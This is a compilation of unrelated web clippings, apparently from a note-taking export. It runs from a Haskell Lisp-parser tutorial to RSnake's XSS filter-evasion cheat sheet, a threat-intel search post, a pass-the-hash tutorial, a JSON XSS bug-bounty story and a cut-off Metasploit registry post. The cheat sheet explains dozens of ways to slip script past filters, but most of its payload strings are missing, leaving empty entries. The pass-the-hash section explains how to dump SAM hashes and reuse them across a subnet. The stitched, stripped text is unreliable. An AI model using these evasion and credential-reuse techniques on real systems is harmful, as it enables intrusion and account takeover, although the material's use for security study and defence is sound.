a `_` case \(or fail any case which also causes the failure of the whole
`case` expression\), think of `_` as a _wildcard_. So if the code falls
through to the `_` case, it always matches, and returns the value of `atom`.

Finally, we create one more parser, for numbers. This shows one more way of
dealing with monadic values:

[code]

     parseNumber :: Parser LispVal
     parseNumber = liftM (Number . read) $ many1 digit
    
[/code]

It's easiest to read this backwards, since both function application \(`$`\)
and function composition \(`.`\) associate to the right. The parsec combinator
many1 matches one or more of its argument, so here we're matching one or more
digits. We'd like to construct a number `LispVal` from the resulting string,
but we have a few type mismatches. First, we use the built-in function read to
convert that string into a number. Then we pass the result to `Number` to get
a `LispVal`. The function composition operator `.` creates a function that
applies its right argument and then passes the result to the left argument, so
we use that to combine the two function applications.

Unfortunately, the result of `many1 digit` is actually a `Parser String`, so
our combined `Number . read` still can't operate on it. We need a way to tell
it to just operate on the value inside the monad, giving us back a `Parser
LispVal`. The standard function `liftM` does exactly that, so we apply `liftM`
to our `Number . read` function, and then apply the result of that to our
parser.

We also have to import the Monad module up at the top of our program to get
access to `liftM`:

[code]

     import Control.Monad
    
[/code]

This style of programming - relying heavily on function composition, function
application, and passing functions to functions - is very common in Haskell
code. It often lets you express very complicated algorithms in a single line,
breaking down intermediate steps into other functions that can be combined in
various ways. Unfortunately, it means that you often have to read Haskell code
from right-to-left and keep careful track of the types. We'll be seeing many
more examples throughout the rest of the tutorial, so hopefully you'll get
pretty comfortable with it.

Let's create a parser that accepts either a string, a number, or an atom:

[code]

     parseExpr :: Parser LispVal
     parseExpr = parseAtom
             <|> parseString
             <|> parseNumber
    
[/code]

And edit readExpr so it calls our new parser:

[code]

     readExpr :: String -> String
     readExpr input = case parse parseExpr "lisp" input of
         Left err -> "No match: " ++ show err
         Right _ -> "Found value"
    
[/code]

Compile and run this code, and you'll notice that it accepts any number,
string, or symbol, but not other strings:

[code]

    debian:/home/jdtang/haskell_tutorial/code# ghc -package parsec -o simple_parser [.../code/listing3.3.hs listing3.3.hs]
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser "\"this is a string\""
    Found value
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser 25
    Found value
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser symbol
    Found value
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser (symbol)
    bash: syntax error near unexpected token `symbol'
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser "(symbol)"
    No match: "lisp" (line 1, column 1):
    unexpected "("
    expecting letter, "\"" or digit
    
[/code]

Exercises  
---  
  1. Rewrite parseNumber using 
    1. do-notation
    2. explicit sequencing with the >>= operator
  2. Our strings aren't quite R5RS compliant, because they don't support escaping of internal quotes within the string. Change parseString so that \" gives a literal quote character instead of terminating the string. You may want to replace `noneOf "\""` with a new parser action that accepts _either_ a non-quote character _or_ a backslash followed by a quote mark.
  3. Modify the previous exercise to support \n, \r, \t, \\\, and any other desired escape characters
  4. Change parseNumber to support the Scheme standard for different bases. You may find the readOct and readHex functions useful.
  5. Add a Character constructor to LispVal, and create a parser for character literals as described in R5RS.
  6. Add a Float constructor to LispVal, and support R5RS syntax for decimals. The Haskell function readFloat may be useful.
  7. Add data types and parsers to support the full numeric tower of Scheme numeric types. Haskell has built-in types to represent many of these; check the Prelude. For the others, you can define compound types that represent eg. a Rational as a numerator and denominator, or a Complex as a real and imaginary part \(each itself a Real number\).

  
## \[edit\] Recursive Parsers: Adding lists, dotted lists, and quoted datums

Next, we add a few more parser actions to our interpreter. Start with the
parenthesized lists that make Lisp famous:

[code]

     parseList :: Parser LispVal
     parseList = liftM List $ sepBy parseExpr spaces
    
[/code]

This works analogously to `parseNumber`, first parsing a series of expressions
separated by whitespace \(`sepBy parseExpr spaces`\) and then apply the List
constructor to it within the Parser monad. Note too that we can pass
`parseExpr` to sepBy, even though it's an action we wrote ourselves.

The dotted-list parser is somewhat more complex, but still uses only concepts
that we're already familiar with:

[code]

     parseDottedList :: Parser LispVal
     parseDottedList = do
         head <- endBy parseExpr spaces
         tail <- char '.' >> spaces >> parseExpr
         return $ DottedList head tail
    
[/code]

Note how we can sequence together a series of Parser actions with `>>` and
then use the whole sequence on the right hand side of a do-statement. The
expression `char '.' >> spaces` returns a `Parser ()`, then combining that
with `parseExpr` gives a `Parser LispVal`, exactly the type we need for the
do-block.

Next, let's add support for the single-quote syntactic sugar of Scheme:

[code]

     parseQuoted :: Parser LispVal
     parseQuoted = do
        char '\''
        x <- parseExpr
        return $ List [Atom "quote", x]
    
[/code]

Most of this is fairly familiar stuff: it reads a single quote character,
reads an expression and binds it to `x`, and then returns `(quote x)`, to use
Scheme notation. The `Atom` constructor works like an ordinary function: you
pass it the String you're encapsulating, and it gives you back a LispVal. You
can do anything with this LispVal that you normally could, like put it in a
list.

Finally, edit our definition of parseExpr to include our new parsers:

[code]

     parseExpr :: Parser LispVal
     parseExpr = parseAtom
             <|> parseString
             <|> parseNumber
             <|> parseQuoted
             <|> do char '('
                    x <- try parseList <|> parseDottedList
                    char ')'
                    return x
    
[/code]

This illustrates one last feature of Parsec: backtracking. `parseList` and
`parseDottedList` recognize identical strings up to the dot; this breaks the
requirement that a choice alternative may not consume any input before
failing. The try combinator attempts to run the specified parser, but if it
fails, it backs up to the previous state. This lets you use it in a choice
alternative without interfering with the other alternative.

Compile and run this code:

[code]

    debian:/home/jdtang/haskell_tutorial/code# ghc -package parsec -o simple_parser [../code/listing3.4.hs listing3.4.hs]
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser "(a test)"
    Found value
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser "(a (nested) test)"
    Found value
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser "(a (dotted . list) test)"
    Found value
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser "(a '(quoted (dotted . list)) test)"
    Found value
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser "(a '(imbalanced parens)"
    No match: "lisp" (line 1, column 24):
    unexpected end of input
    expecting space or ")"
    
[/code]

Note that by referring to parseExpr within our parsers, we can nest them
arbitrarily deep. Thus, we get a full Lisp reader with only a few definitions.
That's the power of recursion.

Exercises  
---  
  1. Add support for the backquote syntactic sugar: the Scheme standard details what it should expand into \(quasiquote/unquote\).
  2. Add support for vectors. The Haskell representation is up to you: GHC does have an Array data type, but it can be difficult to use. Strictly speaking, a vector should have constant-time indexing and updating, but destructive update in a purely functional language is difficult. You may have a better idea how to do this after the section on set\!, later in this tutorial.
  3. Instead of using the try combinator, left-factor the grammar so that the common subsequence is its own parser. You should end up with a parser that matches a string of expressions, and one that matches either nothing or a dot and a single expressions. Combining the return values of these into either a List or a DottedList is left as a \(somewhat tricky\) exercise for the reader: you may want to break it out into another helper function.

  
__

# Rsnake's XSS Cheat Sheet

**Created:**| _8/11/2009 11:13:05 AM_  
---|---  
**Updated:**| _8/11/2009 11:13:37 AM_  
**Author:**| __  
**Tags:**| _cheat sheets_  
  

## XSS \(Cross Site Scripting\) Cheat Sheet  
Esp: for filter evasion

  
By RSnake  
  

Note from the author: XSS is Cross Site Scripting. If you don't know how XSS
\(Cross Site Scripting\) works, this page probably won't help you. This page
is for people who already understand the basics of XSS attacks but want a deep
understanding of the nuances regarding filter evasion. This page will also not
show you how to mitigate XSS vectors or how to write the actual
cookie/credential stealing/replay/session riding portion of the attack. It
will simply show the underlying methodology and you can infer the rest. Also,
please note my XSS page has been replicated by the OWASP 2.0 Guide in the
Appendix section with my permission. However, because this is a living
document I suggest you continue to use this site to stay up to date.

Also, please note that most of these cross site scripting vectors have been
tested in the browsers listed at the bottom of the page, however, if you have
specific concerns about outdated or obscure versions please download them from
Evolt. Please see the XML format of the XSS Cheat Sheet if you intend to use
CAL9000 or other automated tools. If you have an RSS reader feel free to
subscribe to the Web Application Security RSS feed below, or join the forum:

<img src='img/Temp2_7071.gif' alt='Web Application Security RSS feed' />

  

**XSS \(Cross Site Scripting\):**

XSS locator. Inject this string, and in most cases where a script is
vulnerable with no special XSS vector requirements the word "XSS" will pop up.
Use the URL encoding calculator below to encode the entire string. Tip: if
you're in a rush and need to quickly check a page, often times injecting the
depreciated "<PLAINTEXT>" tag will be enough to check to see if something is
vulnerable to XSS by messing up the output appreciably:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
XSS locator 2. If you don't have much space and know there is no vulnerable
JavaScript on the page, this string is a nice compact XSS injection check.
View source after injecting it and look for <SCRIPT verses &lt;SCRIPT to see
if it is vulnerable:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
No filter evasion. This is a normal XSS JavaScript injection, and most likely
to get caught but I suggest trying it first \(the quotes are not required in
any modern browser so they are omitted here\):  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Image XSS using the JavaScript directive \(IE7.0 doesn't support the
JavaScript directive in context of an image, but it does in other contexts,
but the following show the principles that would work in other tags as well -
I'll probably revise this at a later date\):  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
No quotes and no semicolon using a onerror handler \(if there's an image named
"a" there, bad luck - just change it to something else\). If no quotes of any
kind are allowe d you can eval\(\) a fromCharCode in JavaScript to create any
XSS vector you need\) . Clickhere to build your own \(thanks to Hannes
Leopold\):  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Case insensitive XSS attack vector:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
HTML entities \(the semicolons are required for this to work\):  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Grave accent obfuscation \(If you need to use both double and single quotes
you can use a grave accent to encapsulate the JavaScript string - this is also
useful because lots of cross site scripting filters don't know about grave
accents\):  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Malformed IMG tags. Originally found by Begeek \(but cleaned up and shortened
to work in all browsers\), this XSS vector uses the relaxed rendering engine
to create our XSS vector within an IMG tag that should be encapsulated within
quotes. I assume this was originally meant to correct sloppy coding. This
would make it significantly more difficult to correctly parse apart an HTML
tag:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
UTF-8 Unicode encoding \(all of the XSS examples that use a javascript:
directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in
the Gecko rendering engine mode\). As a result, they have been modified to use
the onerror event handler instead to make them more useful. Use the XSS
calculator for more information:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Long UTF-8 Unicode encoding without semicolons \(this is often effective in
XSS that attempts to look for "&\#XX;", since most people don't know about
padding - up to 7 numeric characters total\). This is also useful against
people who decode against strings like $tmp\_string =~
s/.\*\&\#\(\d+\);.\*/$1/; which incorrectly assumes a semicolon is required to
terminate a html encoded string \(I've seen this in the wild\):  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Hex encoding without semicolons \(this is also a viable XSS attack against the
above string $tmp\_string =~ s/.\*\&\#\(\d+\);.\*/$1/; which assumes that
there is a numeric character following the pound symbol - which is not true
with hex HTML characters\). Use the XSS calculator for more information:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Embedded tab to break up the cross site scripting attack. This attack would
work against Chrome minus the fact that it doesn't understand JavaScript
directives in image tags like this. However, switch this to a Meta refresh and
voila\! The same is true for Chrome in the following 4 examples as well:  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Embedded encoded tab to break up XSS:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Embeded newline to break up XSS. Some websites claim that any of the chars
09-13 \(decimal\) will work for this attack. That is incorrect. Only 09
\(horizontal tab\), 10 \(newline\) and 13 \(carriage return\) work. See the
ascii chart for more details. The following four XSS examples illustrate this
vector:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Embedded carriage return to break up XSS \(Note: with the above I am making
these strings longer than they have to be because the zeros could be omitted.
Often I've seen filters that assume the hex and dec encoding has to be two or
three characters. The real rule is 1-7 characters.\):  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Multiline Injected JavaScript using ASCII carriage returns \(same as above
only a more extreme example of this XSS vector\) these are not spaces just one
of the three characters as described above:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Null breaks up JavaScript directive. Okay, I lied, null chars also work as XSS
vectors but not like above, you need to inject them directly using something
like Burp Proxy or use %00 in the URL string or if you want to write your own
injection tool you can either usevim \(^V^@ will produce a null\) or the
following program to generate it into a text file. Okay, I lied again, older
versions of Opera \(circa 7.11 on Windows\) were vulnerable to one additional
char 173 \(the soft hypen control char\). But the null char %00 is much more
useful and helped me bypass certain real world filters with a variation on
this example:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Null breaks up cross site scripting vector. Here is a little known XSS attack
vector using null characters. You can actually break up the HTML itself using
the same nulls as shown above. I've seen this vector bypass some of the most
restrictive XSS filters to date:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Spaces and meta chars before the JavaScript in images for XSS \(this is useful
if the pattern match doesn't take into account spaces in the word
"javascript:" -which is correct since that won't render- and makes the false
assumption that you can't have a space between the quote and the "javascript:"
keyword. The actual reality is you can have any char from 1-32 in decimal\):  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found
that it assumes a non-alpha-non-digit is not valid after an HTML keyword and
therefor considers it to be a whitespace or non-valid token after an HTML tag.
The problem is that some XSS filters assume that the tag they are looking for
is broken up by whitespace. For example "<SCRIPT\s" \!= "<SCRIPT/XSS\s":  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Non-alpha-non-digit part 2 XSS. yawnmoth brought my attention to this vector,
based on the same idea as above, however, I expanded on it, using my fuzzer.
The Gecko rendering engine used to allow for any character other than letters,
numbers or encapsulation chars \(like quotes, angle brackets, etc...\) between
the event handler and the equals sign, making it easier to bypass cross site
scripting blocks. Note that this also applies to the grave accent char as seen
here:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Non-alpha-non-digit part 3 XSS. Yair Amit brought this to my attention that
there is slightly different behavior between the IE and Gecko rendering
engines that allows just a slash between the tag and the parameter with no
spaces. This could be useful if the system does not allow spaces.  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Extraneous open brackets. Submitted by Franz Sedlmaier, this XSS vector could
defeat certain detection engines that work by first using matching pairs of
open and close angle brackets and then by doing a comparison of the tag
inside, instead of a more efficient algorythm like Boyer-Moore that looks for
entire string matches of the open angle bracket and associated tag \(post de-
obfuscation, of course\). The double slash comments out the ending extraneous
bracket to supress a JavaScript error:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
No closing script tags. In older versions of Firefox and Netscape 8.1 in the
Gecko rendering engine mode you didn't actually need the "></SCRIPT>" portion
of this Cross Site Scripting vector. Firefox assumes it's safe to close the
HTML tag and add closing tags for you. How thoughtful\! Unlike the next one,
which doesn't effect Firefox, this does not require any additional HTML below
it. You can add quotes if you need to, but they're not needed generally,
although beware, I have no idea what the HTML will end up looking like once
this is injected:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Protocol resolution in script tags. This particular variant was submitted by
Łukasz Pilorzand was based partially off of Ozh's protocol resolution bypass
below. This cross site scripting example works in IE, Netscape in IE rendering
mode and Opera if you add in a </SCRIPT> tag at the end. However, this is
especially useful where space is an issue, and of course, the shorter your
domain, the better. The ".j" is valid, regardless of the encoding type because
the browser knows it in context of a SCRIPT tag.  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Half open HTML/JavaScript XSS vector. Unlike Firefox the IE rendering engine
doesn't add extra data to your page, but it does allow the javascript:
directive in images. This is useful as a vector because it doesn't require a
close angle bracket. This assumes there is any HTML tag below where you are
injecting this cross site scripting vector. Even though there is no close ">"
tag the tags below it will close it. A note: this does mess up the HTML,
depending on what HTML is beneath it. It gets around the following NIDS regex:
/\(\(\%3D\)|\(=\)\)\[^\n\]\*\(\(\%3C\)|<\)\[^\n\]+\(\(\%3E\)|>\)/ because it
doesn't require the end ">". As a side note, this was also affective against a
real world XSS filter I came across using an open ended <IFRAME tag instead of
an <IMG tag:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Double open angle brackets. This is an odd one that Steven Christey brought to
my attention. At first I misclassified this as the same XSS vector as above
but it's surprisingly different. Using an open angle bracket at the end of the
vector instead of a close angle bracket causes different behavior in Netscape
Gecko rendering. Without it, Firefox will work but Netscape won't:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
XSS with no single quotes or double quotes or semicolons:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Escaping JavaScript escapes. When the application is written to output some
user information inside of a JavaScript like the following: <SCRIPT>var
a="$ENV\{QUERY\_STRING\}";</SCRIPT> and you want to inject your own JavaScript
into it but the server side application escapes certain quotes you can
circumvent that by escaping their escape character. When this is gets injected
it will read <SCRIPT>var a="\\\";alert\('XSS'\);//";</SCRIPT> which ends up
un-escaping the double quote and causing the Cross Site Scripting vector to
fire. The XSS locator uses this method.:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
End title tag. This is a simple XSS vector that closes <TITLE> tags, which can
encapsulate the malicious cross site scripting attack:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
INPUT image:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
BODY image:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
BODY tag \(I like this method because it doesn't require using any variants of
"javascript:" or "<SCRIPT..." to accomplish the XSS attack\). Dan Crowley
additionally noted that you can put a space before the equals sign \("onload="
\!= "onload ="\):  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
Event Handlers that can be used in similar XSS attacks to the one above \(this
is the most comprehensive list on the net, at the time of this writing\).
Please note I have excluded browser support from this section because each one
may have different results in different browsers. Thanks to Rene Ledosquet for
the HTML+TIME updates:  
  
  
  
IMG Dynsrc:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
IMG lowsrc:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
BGSOUND:  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\]

  
  
& JavaScript includes \(works in Netscape 4.x\):  
  

Browser support: \[IE8.0|IE7.0|IE6.0|NS8.1-IE\] \[NS8.1-G|FF3.5\]
\[O9.63\]\[C2.0\] \[NS4\]

  

# Journey Into Incident Response: Introducing the Active Threat Search

**Created:**| _6/3/2015 11:52:29 AM_  
---|---  
**Updated:**| _6/3/2015 11:52:29 AM_  
**Author:**| __  
**Tags:**| _searching siem_  
  

# Introducing the Active Threat Search

Monday, May 11, 2015 Posted by Corey Harrell

Have you found yourself looking at a potential security event and wishing
there was more context. The security event could be an IDS/IPS triggering on
network activity, antivirus software flagging a file, or a SIEM rule alarming
on activity in logs. By itself the security event may not provide a bigger
picture about the activity. Has anyone else seen the same activity? Where did
the file come from? Is the event part of a mass attack or is it unique? Being
able to run queries on certain security event indicators can go a long way in
providing context to what you are seeing. This post is the formal introduction
of the Active Threat Search that can help you identify this context.  
  
The Active Threat Search is another Custom Google search. Similar to the
Digital Forensic Search, Vulnerability Search, and Malware Analysis Search
\(by Hooked on Mnemonics Worked for Me\), the Active Threat Search harnesses
the collective knowledge and research of the people/organizations who openly
share intelligence information.  
  
To demonstrate how context can be provided let’s say the IDS/IPS tripped on
numerous connection attempts being made to a server running SSH. This security
event could mean a few things. Someone may had forgotten their credentials and
tried numerous times to log in or someone \(or something\) found the open SSH
port on the server and tried numerous times to log in. The bigger picture may
not be readily apparent so additional context is needed. A search on the
source IP address that triggered the IDS/IPS alert in the Active Threat Search
may show something similar to the image below:

<img src='img/Temp2_4721.jpg' />

The search on the source IP address provides a wealth of context for the
security event. The same source IP address has attempted attacks against other
systems. This means the security event was something trying to log in to the
server and not someone forgetting their password. Context changes everything
and the Active Threat Search at times can help provide this context.  
  
The Active Threat Search can be found at the top of jIIr or directly at this
link:  
https://cse.google.com/cse/publicurl?cx=011905220571137173365:eo5wzloxe\_m  
  
  
\*\*\*\*\*\*\*\*\*\*Sites Last Updated on 05/24/2015\*\*\*\*\*\*\*\*\*\*  
  
The following is the listing of sites indexed by the Active Threat Search and
this section will be continuously updated.  
  
Bambenek Consulting http://osint.bambenekconsulting.com/feeds/  
Binary Defense Systems http://www.binarydefense.com/banlist.txt  
Blocklist.de http://www.blocklist.de  
Cisco Threat Intelligence http://tools.cisco.com/security/center/  
Cyber Crime http://cybercrime-tracker.net/  
Dragon Research Group http://dragonresearchgroup.org/insight/  
Dshield https://dshield.org/  
Dynamoo's Blog http://blog.dynamoo.com/  
Emerging Threats http://rules.emergingthreats.net/  
Emerging Threats List https://lists.emergingthreats.net/pipermail/emerging-
sigs  
Feodo Tracker https://feodotracker.abuse.ch/  
hpHosts http://hosts-file.net/  
Malc0de Database http://malc0de.com/database/  
Malware Domain List http://www.malwaredomainlist.com  
MalwareDomains http://www.malwaredomains.com/  
Malware-Traffic-Analysis http://www.malware-traffic-analysis.net  
McAfee Threat Intelligence http://www.mcafee.com/threat-intelligence  
Malware URLs http://malwareurls.joxeankoret.com/  
Multiproxy http://multiproxy.org  
MX Lab http://blog.mxlab.eu/  
OpenBL http://www.us.openbl.org/  
OpenPhish https://openphish.com/  
Palevo Tracker https://palevotracker.abuse.ch/  
Phish Tank http://www.phishtank.com  
Project Honeypot https://www.projecthoneypot.org  
SPAM404 http://www.spam404.com/  
SPAMHAUS www.spamhaus.org  
SSL Blacklist https://sslbl.abuse.ch/blacklist/  
Tor Exit Addresses https://check.torproject.org/exit-addresses  
URLQuery http://urlquery.net  
VirusTotal http://www.virustotal.com  
VX Vault http://vxvault.net/  
Zeus Tracker https://zeustracker.abuse.ch/

Comments Leave a comment

#### Post a Comment

# DEP/ASLR Implementation Progress in Popular Third-party Windows Applications

**Created:**| _7/1/2010 8:05:56 PM_  
---|---  
**Updated:**| _7/1/2010 8:06:43 PM_  
**Author:**| __  
**Tags:**| _Exploit aslr vulnerability security metrics windows environment
awesome Defense_  
  
<img src='img/Temp2_1822' />

# Episode130 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:52:57 PM_  
---|---  
**Updated:**| _8/5/2009 12:53:11 PM_  
**Author:**| __  
**Tags:**| _authentication bypass pauldotcom hashes Hacks Tutorials_  
  

# Tech Segment: Pass The Hash, Hold The Salt

We've mentioned it on the show before, referenced it several times in various
publications, SANS covers it in many courses \(SEC560 has almost an entire day
on password cracking\), but here's a little tutorial on how to put it all
together. What am I talkin' about? Windows hashes, either LANMAN or NTLM, they
are literally the keys to the kingdom. First, you need to collect them by:

  * Sniffing them off of the network
  * Gaining SYSTEM level access to a system and grabbing the SAM database
  * Gaining user level privileges to a system and grabbing the backup

I won't go into a lot of detail about the above, because well, we've been
there before. So, lets say for example you compromise a system on the internal
\(or external\) network. The first thing you should do \(After your happy
dance of pwnage\) is to grab the SAM database. You can do that with:

  * Metasploit - Meterpreter.dll "hashdump" command \(Episode 106 has an example\)
  * Core IMPACT - "Dump Passwords From SAM"
  * fgdump \- Excellent tool for dumping passwords \(I upload it to NT 4.0 systems because Core doesn't support them for password dumping\)

So, you go along and try to crack those hashes with john, which can have sexy
results most of the time. However, remember you can also pass the hash too\!
But first, you must choose which hashes to pass. I try to determine if there
is a shared local administrator password amounst systems. If I've compromised
a bunch of systems I will review the hashes and look for similarities.
Remember, no salt, so if some systems have a username of "administrator" and
others a username of "tom", one can deduce that an admin may have gotten
sneaky and changed the local administrator username. So, grep, sort, and uniq
are your friends, do some analysis of the hashes. To pass the hash, I've had
great success using Core IMPACT's module "Install Agent Using SMB", as shown
below:

<img src='img/Temp2_2746.png' width='426' height='360'
alt='Image:Passthehash.png' />

You will need both the LANMAN and NTLM hashes which will serve as the
password. I take this module and run it against all of the hosts on a
particular subnet, and really make a point that you should never use the same
local admin password on several different systems\!

# Story of a JSON XSS

**Created:**| _11/23/2017 9:38:08 AM_  
---|---  
**Updated:**| _11/23/2017 9:38:08 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  Story of a JSON XSS

November 15, 2017

  

Hi folks,

This post is about of one of my recent my finding in a bug bounty program. I
started checking the application for common vulnerabilities but got nothing
after spending an hour I came across an endpoint which looks as follows.

<img src='img/G-OriginalE.png' width='640' height='168' />

If you look at request and response you will see the value of status parameter
is reflecting back in the response. So I tried replacing the value of status
parameter and same reflected back in the response as shown in below.

<img src='img/G-testE.png' width='640' height='160' />

What next? Let’s check for XSS with a simple payload as shown in below.

<img src='img/G-hahaE.png' width='640' height='176' />

But angle brackets getting filtered, after I tried some encodings but nothing
worked. So I was about to give up but suddenly i decided to try array tricks.

<img src='img/G-haha2E.png' width='640' height='166' />

So you can see whatever we write inside the round brackets is reflecting back
in response as it becomes associated array as follows

Status  ** _Equals_** JSON object

<haha> **_Equals_** Key of JSON object

Test  ** _Equals_** value JSON object

Let’s check again for XSS with a simple payload

<img src='img/G-haha3E.png' width='640' height='164' />

So now angle brackets working for us but what if we apply = here

<img src='img/G-EQE.png' width='640' height='180' />

This will break the query and that is why we are getting null value. Next I
tried URL encoding which worked for me as shown in below figure

<img src='img/G-EQ2E.png' width='640' height='178' />

Now we are all set to make the final payload.

<img src='img/G-finalE.png' width='640' height='172' />

And finally we need a CSRF POC in order to exploit it.

<img src='img/G-overE.png' width='640' height='270' />

  

But the userid parameter was impossible to guess although i checked other end-
points as well to get userid but don't get success and reported this
vulnerability, they fixed it quickly because the entire website was using the
same concept to display JSON data. And at last rewarded with decent bounty ;\)

Thanks for reading

  

# TikZ-UML

**Created:**| _7/3/2012 8:05:25 PM_  
---|---  
**Updated:**| _7/3/2012 8:05:25 PM_  
**Author:**| __  
**Tags:**| _visualization Latex_  
  

## Introduction

TikZ-UML is a TikZ extension to manage common UML diagrams : class diagrams,
use case diagrams, state-machine diagrams and sequence diagrams. The first
goal is to propose an alternative to pst-uml package written by Maurice
Diamantini, as TikZ is an alternative itself to PSTricks.  
  
TikZ-UML is developped by Nicolas Kielbasiewicz, UMA/POems, ENSTA \- ParisTech

# Metasploit: Exporting the Registry for Fun and Profit

**Created:**| _1/2/2010 6:27:52 PM_  
---|---  
**Updated:**| _1/2/2010 6:27:57 PM_  
**Author:**| __  
**Tags:**| _Metasploit_  
  

### Exporting the Registry for Fun and Profit

Over the last few days, I have been playing with WinScanX, a free command-line
tool for querying Windows service information over SMB. WinScanX combines many
of the essential tools used during a penetration test into a single utility.
One of the more interesting features is the "-y" flag, which instructs
WinScanX to save a copy of the remote registry hives for SAM, SECURITY, and
SYSTEM. These three hives can be used in conjunction with Cain and Abel or
